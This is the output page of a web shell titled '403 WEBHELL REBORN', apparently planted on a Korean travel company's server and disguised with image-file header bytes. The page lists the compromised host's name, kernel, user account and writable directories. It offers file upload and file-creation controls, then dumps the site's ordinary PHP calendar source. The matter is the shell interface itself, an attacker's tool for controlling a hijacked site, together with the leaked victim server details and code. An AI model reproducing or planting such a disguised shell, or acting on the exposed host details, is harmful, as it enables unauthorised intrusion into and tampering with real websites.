ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/js/ajaxcalendar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/js/ajaxcalendar/ajaxcalendar.php
<?
/**
 * AjaxCalendar (PHP)
 *
 * 작성자 : 
 * 작성일 : 2010.04.19
 */

// 페이지 헤더 인코딩 설정
// @header("content-type: text/html; charset=utf-8");

// 변수 설정
// @extract($_GET);
// @extract($_POST);

include_once $_SERVER['DOCUMENT_ROOT'].'/include/top_proc.html'; //[son]

$sdate = $sdate; // 달력 시작일
$edate = $edate; // 달력 종료일
$format = $format; // 출력 포멧
if ($sdate) $sdate = date("Y-m-d", strtotime($sdate));
if ($edate) $edate = date("Y-m-d", strtotime($edate));



if(!$past_year_cnt) $past_year_cnt=3; //달력 년도 수정

/***** 달력 환경설정 (시작) *****/ 

// 달력 경로 설정
$cal_dir = "/js/ajaxcalendar";

// 달력 배경 설정
$cal_bg = "$cal_dir/cal_bg.gif"; // 요일 영문 (기본)
//$cal_bg = "$cal_dir/cal_bg_kor.gif"; // 요일 한글

// 달력 글자 색상
$cal_day_color = "#000000"; // 평일
$cal_sat_color = "#0066CC"; // 토요일
$cal_sun_color = "#FF0000"; // 일요일(공휴일)
$cal_today_color = "#2C852C"; // 오늘
$cal_none_color = "#BBBBBB"; // 비활성일

// 달력 배경 색상
$cal_today_bgcolor = "yellow"; // 오늘
$cal_select_bgcolor = "#BAFFF6"; // 선택일
$cal_over_bgcolor = "#D8E0E9"; // 마우스 오버
$cal_out_bgcolor = "#FFFFFF"; // 마우스 아웃

// 마지막 날,요일 설정
$cal_lastday = array(1=>31,28,31,30,31,30,31,31,30,31,30,31); // 각 달의 마지막 날 지정
$cal_yoil = array("일","월","화","수","목","금","토"); // 요일명 지정

// 오늘
$cal_now_yy = (int)date("Y");
$cal_now_mm = (int)date("m");
$cal_now_dd = (int)date("d");

// 년,월 설정
if (!$cal_y) $cal_y = $cal_now_yy;
if (!$cal_m) $cal_m = $cal_now_mm;
//if ($cal_y <= 1971 || $cal_y >= 2037) $cal_y = date("Y"); // 년도가 1971보다 작거나 2037보다 크면 현재년도로 함
$cal_y = (int)$cal_y;
$cal_m = (int)$cal_m;

// 윤년 계산을 통해 2월의 마지막 날 계산
if ($cal_y % 4 == 0 && $cal_y % 100 != 0 || $cal_y % 400 == 0) {
	$cal_lastday[2] = 29;
}

// 전해까지 평년 기준으로 날짜수 계산 및 윤년의 횟수를 더함
$cal_total = ($cal_y-1)*365+(int)(($cal_y-1)/4) - (int)(($cal_y-1)/100) + (int)(($cal_y-1)/400);

// 해당월의 1일
for ($i=1; $i<$cal_m; $i++) {
	$cal_total += $cal_lastday[$i]; // 전달까지의 날짜수 더함
}
$cal_total++; // 그 달의 1일
$cal_startday = $cal_total % 7; // 시작 요일을 구함 (0:일요일,...,6:토요일)
//mktime() 함수는 1970 ~ 2038년까지만 계산되므로 사용하지 않음
//$mktime = mktime(0, 0, 0, $cal_m, 1, $cal_y); // time
//$startday = date("w", $mktime); // 첫날 요일

// 해당월의 마지막 날짜
$cal_endday = $cal_lastday[$cal_m];

// 이전달,다음달 설정
if ($cal_m == 12) {
	$cal_py = $cal_y;
	$cal_pm = $cal_m - 1;
	$cal_ny = $cal_y + 1;
	$cal_nm = 1;
}
elseif ($cal_m == 1) {
	$cal_py = $cal_y - 1;
	$cal_pm = 12;
	$cal_ny = $cal_y;
	$cal_nm = $cal_m + 1;
}
else {
	$cal_py = $cal_y;
	$cal_pm = $cal_m - 1;
	$cal_ny = $cal_y;
	$cal_nm = $cal_m + 1;
}

// 공통 파라메터
//$cal_param = "&sdate={$sdate}&edate={$edate}&format={$format}&past_year_cnt={$past_year_cnt}";
$cal_param = "&sdate={$sdate}&edate={$edate}&format={$format}&past_year_cnt={$past_year_cnt}&g_uid={$g_uid}&dtid={$dtid}"; //[son]

// 이전달,다음달 링크
//$cal_prev_href = "?cal_y={$cal_py}&cal_m={$cal_pm}"; // 이전달
//$cal_next_href = "?cal_y={$cal_ny}&cal_m={$cal_nm}"; // 다음달
$cal_prev_href = "ajaxcalendar.updater('{$cal_dir}/ajaxcalendar.php?cal_y={$cal_py}&cal_m={$cal_pm}{$cal_param}');"; // 이전달
$cal_next_href = "ajaxcalendar.updater('{$cal_dir}/ajaxcalendar.php?cal_y={$cal_ny}&cal_m={$cal_nm}{$cal_param}');"; // 다음달

// 년 셀렉트 옵션
$cal_yy_option = "";
for ($i=$past_year_cnt; $i>=0; $i--) {
	$cal_value = $cal_y - $i;
	$selected = "";
	if ($cal_value == $cal_y) $selected = " selected";
	$cal_yy_option .= "<option value='$cal_value'$selected id='cal_ajaxcalendar_year'>$cal_value</option>";
}
for ($i=1; $i<=10; $i++) {
	$cal_value = $cal_y + $i;
	$selected = "";
	if ($cal_value == $cal_y) $selected = " selected";
	$cal_yy_option .= "<option value='$cal_value'$selected id='cal_ajaxcalendar_year'>$cal_value</option>";
}

// 월 셀렉트 옵션
$cal_mm_option = "";
for ($i=1; $i<=12; $i++) {
	$selected = "";
	if ($i == $cal_m) $selected = " selected";
	$cal_mm_option .= "<option value='$i' {$selected} id='cal_ajaxcalendar_month'>$i</option>";
}

/***** 달력 환경설정 (끝) *****/ 
//[son]여행상품 일정 확인
$B2b = new B2b();
if(!empty($g_uid) && !empty($dtid)) {
	$selectableDateList = $B2b->selectableDateList($g_uid,$dtid,$cal_y.'-'.sprintf('%02d',$cal_m));
	//logCheck(print_r($selectableDateList,true));
}
?>

<!-- 달력 테이블 -->
<table border="0" cellpadding="0" cellspacing="0" style="background:url('<?=$cal_bg?>') no-repeat left top; width:180px; height:200px; font:normal 11px 돋움;">
	<tr>
		<td valign="top" align="center">
			<table width="160" border="0" cellspacing="0" cellpadding="0">
				<tr>
					<td height="55" align="center">
						<!-- 년,월 이동 -->
						<table width="100%" border="0" cellspacing="0" cellpadding="0">
							<tr>
							  <td align="right" height="25"><img src="<?=$cal_dir?>/cal_close.gif" border="0" alt="닫기" title="닫기" style="cursor:pointer;" onclick="ajaxcalendar.hide();"></td>
						  </tr>
							<tr>
								<td align="center">
									<img src="<?=$cal_dir?>/cal_prev.gif" border="0" alt="이전달" title="이전달" style="cursor:pointer; float:left; vertical-align:middle; padding-top:6px" onclick="<?=$cal_prev_href?>" id="cal_pre_month">
									<select name="cal_y" style="font:normal 11px 돋움; color:#000000;width:60px;" onchange="ajaxcalendar.updater('<?=$cal_dir?>/ajaxcalendar.php?cal_y='+this.value+'&cal_m=<?=$cal_m?><?=$cal_param?>');" id="cal_ajaxcalendar_year">
										<?=$cal_yy_option?>
									</select>
									<select name="cal_m" style="font:normal 11px 돋움; color:#000000;width:40px;" onchange="ajaxcalendar.updater('<?=$cal_dir?>/ajaxcalendar.php?cal_y=<?=$cal_y?>&cal_m='+this.value+'<?=$cal_param?>');" id="cal_ajaxcalendar_month">
										<?=$cal_mm_option?>
									</select>
									<img src="<?=$cal_dir?>/cal_next.gif" border="0"alt="다음달" title="다음달" style="cursor:pointer; float:right; top:2px; vertical-align:middle; padding-top:6px" onclick="<?=$cal_next_href?>" id="cal_next_month">								</td>
							</tr>
						</table>
						<!-- //년,월 이동 -->
					</td>
				</tr>
				<tr>
					<td height="25" align="center">&nbsp;</td>
				</tr>
				<tr>
					<td align="center">
						<!-- 달력 시작 -->
						<table width="155" height="100" border="0" cellspacing="0" cellpadding="0">
<?
// $day_num 변수 초기화
$day_num = 0;

for ($i=1; $i<=6; $i++) { // 1주 ~ 마지막주 - 최대 6주까지 있음
	echo "<tr>\n";

	for ($j=0; $j<7; $j++) { // 요일

		if ($i == 1 && $cal_startday > 0) { // 첫주의 빈공간
			for ($k=0; $k<$cal_startday; $k++) {
				echo "<td>&nbsp;</td>\n"; // 첫주의 빈공간을 표시함
				$j++; // 빈공간 만큼 요일 증가
			}

			// 빈공간을 다 채었으므로 2주차부터는 일요일(0)부터 시작함, 
			// 이렇게 안하면 첫주에는 날짜 사이마다 빈공간 입력됨
			$cal_startday = 0;
		}

		// 일자 증가
		$day_num++;

		// 오늘 판단
		$is_today = false;
		if ($cal_y == $cal_now_yy && $cal_m == $cal_now_mm && $day_num == $cal_now_dd) {
			$is_today = true;
		}

		// 요일별 출력
		if ($j == 0) { // 일요일
			$day_color = $cal_sun_color;
		}
		elseif ($j == 6) { // 토요일
			$day_color = $cal_sat_color;
		}
		else { // 평일
			$day_color = $cal_day_color;
		}

		// 오늘 설정
		if ($is_today == true) { // 오늘
			$day_color = $cal_today_color;
		}

		// full_day 설정
		$full_day = date("Y-m-d", strtotime($cal_y . "-" . $cal_m . "-" . $day_num));

		// 출력 포멧 설정
		// 필요한 출력 포멧을 직접 추가하면됨 (20100419 )
		$format_day = $full_day;
		switch ($format) {
			case "1": $format_day = $format_day; break;							// YYYY-MM-DD
			case "2": $format_day = str_replace("-", "", $format_day); break;	// YYYYMMDD
		}

		// day_event 설정
		$day_event = " title='" . $full_day . "' style='cursor:pointer;' ";		
		$day_event .= " onclick=\"ajaxcalendar.insert('" . $format_day . "');\"";
		if(!empty($g_uid) && !empty($dtid)) {
			$day_event .= " class='clickCal' "; //[son]B2B 예약 달력 클릭이벤트
			$day_color = "white";
		} else {
			$day_event .= " onmouseover=\"this.style.backgroundColor='{$cal_over_bgcolor}'\" onmouseout=\"this.style.backgroundColor='{$cal_out_bgcolor}'\" ";
		}

		// 날짜 기간 체크 (시작일)
		if ($sdate) {
			// 비활성 판단
			if ($sdate > $full_day) {
				$day_color = $cal_none_color;
				$day_event = "";
			}
		}

		// 날짜 기간 체크 (종료일)
		if ($edate) {
			if ($edate < $full_day) {
				$day_color = $cal_none_color;
				$day_event = "";
			}
		}
		
		//[son]지정된 날짜 외 비활성화
		//if(!empty($selectableDateList)) { //없는 경우도 있음
		if(!empty($g_uid) && !empty($dtid)) {
			if(!in_array($full_day,$selectableDateList)) {
				$day_color = $cal_none_color;
				$day_event = "";
			}
		}

		// 날짜 출력
		echo "<td align='center' bgcolor='#FFFFFF'>\n";
		echo "	<table width='100%' border='0' cellspacing='0' cellpadding='0'>\n";
		echo "	<tr><td align='center' " . $day_event . "><span style='font-size:12px; font-weight:normal; font-family:돋움; color:" . $day_color . ";'>" . $day_num . "</span></td></tr>\n";
		echo "	</table>\n";
		echo "</td>\n";

		if ($day_num >= $cal_endday) { // 마지막 날짜 까지만 
			for ($h=$j; $h<6; $h++) { // 마지막 날짜 다음부터는 빈공간 출력
				echo "<td>&nbsp;</td>\n"; // 마지막 날짜 다음부처 빈공간
			}
			break;
		}
	} // 요일끝

	echo "</tr>\n";

	if ($day_num >= $cal_endday) { // 마지막 날짜 까지만, 이렇게 안하면 31일이 토요일인 경우 32일도 출력됨
		break;
	}
} // ~31 for 끝
?>
						</table>
						<!-- //달력 끝 -->
					</td>
				</tr>
			</table>
		</td>
	</tr>
</table>
<!-- //달력 테이블 -->

Anon7 - 2021